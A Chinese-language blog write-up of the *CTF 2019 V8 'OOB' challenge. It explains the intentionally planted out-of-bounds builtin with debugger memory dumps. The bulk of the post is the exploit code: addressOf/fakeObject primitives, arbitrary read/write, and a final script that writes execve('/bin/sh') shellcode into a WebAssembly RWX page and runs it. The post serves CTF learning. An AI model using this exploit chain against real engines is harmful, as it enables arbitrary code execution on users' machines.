V8利用(2)-starctf2019-oob

Static Lv2

该题目复现参考从0开始学V8漏洞利用之starctf 2019 OOB(三) - Hc1m1 (nobb.site)

环境搭建

1
2
3
4
5
6
7
$ git clone https://github.com/sixstars/starctf2019.git
$ cd v8
$ git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
$ git apply ../starctf2019/pwn-OOB/oob.diff
$ gclient sync -D
$ gn gen out/x64_startctf.release --args='v8_monolithic=true v8_use_external_startup_data=false is_component_build=false is_debug=false target_cpu="x64" use_goma=false goma_dir="None" v8_enable_backtrace=true v8_enable_disassembler=true v8_enable_object_print=true v8_enable_verify_heap=true'
$ ninja -C out/x64_startctf.release d8

diff分析

该题目属于人为造洞类型,给出了一个diff,可以发现直接造出了一个oob漏洞,可以实现任意读写。oob具体为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}

elements.getscalar(length)就可以看出读取操作会把数组后的64bit读出出来

而从elements.set(length,value->Number())可以看出它会赋值数组后的64bit为给出的值

漏洞调试

读取测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
//test.js
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function float_to_int(f)
{
f64[0] = f;
return bigUint64[0];
}

function int_to_float(i)
{
bigUint64[0] = i;
return f64[0];
}

var farray = [2.1];
var x = float_to_int(farray.oob());
console.log(x);
%DebugPrint(farray);
%DebugPrint(x);
%SystemBreak();

farray对象的结构体为

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> job 0x02a686e0f3c1
0x2a686e0f3c1: [JSArray]
- map: 0x1b4ab9602ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x1c4d45d11111 <JSArray[0]>
- elements: 0x02a686e0f3a9 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x0599b4040c71 <FixedArray[0]> {
#length: 0x003321b001a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x02a686e0f3a9 <FixedDoubleArray[1]> {
0: 2.1
}

其内存为

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x02a686e0f3c1-1
0x2a686e0f3c0: 0x00001b4ab9602ed9 0x00000599b4040c71
0x2a686e0f3d0: 0x000002a686e0f3a9 0x0000000100000000
0x2a686e0f3e0: 0x00000599b4040561 0x00001b4ab9602ed9
0x2a686e0f3f0: 0x00000599b40412c9 0x0000000100000000
0x2a686e0f400: 0x0000040000000000 0x00000599b40413b9
0x2a686e0f410: 0x0000000000000002 0x00001b4ab9602ed9
0x2a686e0f420: 0x00000599b4040941 0x0000000e00000003
0x2a686e0f430: 0x3135373730303033 0x0000353632383136

其elements内存为

1
2
3
4
5
6
7
8
9
pwndbg> x/16gx 0x02a686e0f3a9-1
0x2a686e0f3a8: 0x00000599b40414f9 0x0000000100000000
0x2a686e0f3b8: 0x4000cccccccccccd 0x00001b4ab9602ed9
0x2a686e0f3c8: 0x00000599b4040c71 0x000002a686e0f3a9
0x2a686e0f3d8: 0x0000000100000000 0x00000599b4040561
0x2a686e0f3e8: 0x00001b4ab9602ed9 0x00000599b40412c9
0x2a686e0f3f8: 0x0000000100000000 0x0000040000000000
0x2a686e0f408: 0x00000599b40413b9 0x0000000000000002
0x2a686e0f418: 0x00001b4ab9602ed9 0x00000599b4040941

可以看到存储浮点数值的下一个64bit便是farray的map地址,再来看被赋值的x的值

1
2
3
4
5
6
7
pwndbg> job 0x02a686e0f409
0x2a686e0f409: [BigInt]
- map: 0x0599b40413b9 <Map>
- length: 1
- sign: 0
- digits:
0x1b4ab9602ed9

digits成员和farray的map地址相同,定义函数getMap()

1
2
3
4
function get_map(farray)
{
return float_to_int(farray.oob());
}

写入测试

定义函数

1
2
3
4
function set_map(farray, value)
{
farray.oob(int_to_float(value));
}

%SystemBreak()之前插入代码

1
set_map(farray1, x-0x100n);

进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/16gx 0x28a064b8f489-1
0x28a064b8f488: 0x000026ea29dc2dd9 0x00003c35f3fc0c71
0x28a064b8f498: 0x000028a064b8f471 0x0000000100000000
0x28a064b8f4a8: 0x00003c35f3fc12c9 0x0000000100000000
0x28a064b8f4b8: 0x0000040000000000 0x00003c35f3fc0561
0x28a064b8f4c8: 0x000026ea29dc2ed9 0x00003c35f3fc12c9
0x28a064b8f4d8: 0x0000000100000000 0x0000040000000000
0x28a064b8f4e8: 0x00003c35f3fc13b9 0x0000000000000002
0x28a064b8f4f8: 0x000026ea29dc2ed9 0x00003c35f3fc0941
pwndbg> job 0x28a064b8f4e9
0x28a064b8f4e9: [BigInt]
- map: 0x3c35f3fc13b9 <Map>
- length: 1
- sign: 0
- digits:
0x26ea29dc2ed9

可以看到farray的map值已经被设置成x-0x100n的值了

任意地址读/写

addressOf

尝试编写获取对象地址的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];
var double_array_map = get_map(double_array);
var obj_array_map = get_map(obj_array);
function addressOf(target_var)
{
obj_array[0] = target_var;
set_map(obj_array, double_array_map);
var target_var_addr = float_to_int(obj_array[0])-1n;
set_map(obj_array, obj_array_map);
return target_var_addr;
}

在此脚本之前,我按照我自己的想法写了一个

1
2
3
4
5
6
7
8
9
function addressOf(target_var)
{
var double_array = [2.1];
var double_array_map = get_map(double_array);
var obj_array = [target_var];
set_map(obj_array, double_array_map);
var target_var_addr = float_to_int(obj_array[0])-1n;
return target_var_addr;
}

不过这个脚本并不能按照预期内存布局工作,在这个脚本中,obj_array对象的elements结构体没有和对象结构体挨在一起,导致修改map无法成功。(具体原因不太清楚

fakeObject

1
2
3
4
5
6
7
8
function fakeObject(target_addr)
{
double_array[0] = int_to_float(target_addr+1n);
set_map(double_array, obj_array_map);
var fake_obj = double_array[0];
set_map(double_array, double_array_map);
return fake_obj;
}

AAR

此处AAR的编写并不能依照之前提到的模板来编写,因为这个d8版本较低,并没有目前d8的地址压缩

编写完成的AAR为

1
2
3
4
5
6
7
8
var fake_array = [int_to_float(double_array_map),0,int_to_float(0x4141414141414141n)];
function AAR(addr)
{
var fake_obj_addr = addressOf(fake_array)+0x58n;
fake_array[2] = int_to_float(addr-0x10n+1n);
var fake_obj = fakeObject(fake_obj_addr);
return float_to_int(fake_obj[0]);
}

AAW

同理,AAW为

1
2
3
4
5
6
7
function AAW(addr, value)
{
var fake_obj_addr = addressOf(fake_array)+0x58n;
fake_array[2] = int_to_float(addr-0x10n+1n);
var fake_obj = fakeObject(fake_obj_addr);
fake_obj[0] = int_to_float(value);
}

写入shellcode

在实现任意地址读写后,就可以写入shellcode了。可以直接按照之前提到的shellcode模板来写入,只需要在其中修改一下backing_store成员的偏移即可

1
2
3
4
5
6
7
8
9
function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x20n;
AAW(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

最终exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function float_to_int(f)
{
f64[0] = f;
return bigUint64[0];
}

function int_to_float(i)
{
bigUint64[0] = i;
return f64[0];
}

function get_map(farray)
{
return float_to_int(farray.oob());
}

function set_map(farray, value)
{
farray.oob(int_to_float(value));
}

var double_array = [2.1];
var obj = {"a":1};
var obj_array = [obj];
var double_array_map = get_map(double_array);
var obj_array_map = get_map(obj_array);
function addressOf(target_var)
{
obj_array[0] = target_var;
set_map(obj_array, double_array_map);
var target_var_addr = float_to_int(obj_array[0])-1n;
set_map(obj_array, obj_array_map);
return target_var_addr;
}

function fakeObject(target_addr)
{
double_array[0] = int_to_float(target_addr+1n);
set_map(double_array, obj_array_map);
var fake_obj = double_array[0];
set_map(double_array, double_array_map);
return fake_obj;
}

var fake_array = [int_to_float(double_array_map),0,int_to_float(0x4141414141414141n)];
function AAR(addr)
{
var fake_obj_addr = addressOf(fake_array)+0x58n;
fake_array[2] = int_to_float(addr-0x10n+1n);
var fake_obj = fakeObject(fake_obj_addr);
return float_to_int(fake_obj[0]);
}

function AAW(addr, value)
{
var fake_obj_addr = addressOf(fake_array)+0x58n;
fake_array[2] = int_to_float(addr-0x10n+1n);
var fake_obj = fakeObject(fake_obj_addr);
fake_obj[0] = int_to_float(value);
}

function shellcode_write(addr,shellcode)
{
var data_buf = new ArrayBuffer(shellcode.length*8);
var data_view = new DataView(data_buf);
var buf_backing_store_addr=addressOf(data_buf)+0x20n;
AAW(buf_backing_store_addr,addr);
for (let i=0;i<shellcode.length;++i)
data_view.setFloat64(i*8,int_to_float(shellcode[i]),true);
}

var wasmInstanceAddr = addressOf(wasmInstance);
var rwx_addr = AAR(wasmInstanceAddr+0x88n);

//Linux x64
var shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
shellcode_write(rwx_addr, shellcode);
f();
  • Title: V8利用(2)-starctf2019-oob
  • Author: Static
  • Created at : 2024-03-10 16:37:25
  • Updated at : 2024-03-10 16:36:44
  • Link: https://staticccccccc.github.io/2024/03/10/V8/V8利用(2)-starctf2019-oob/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments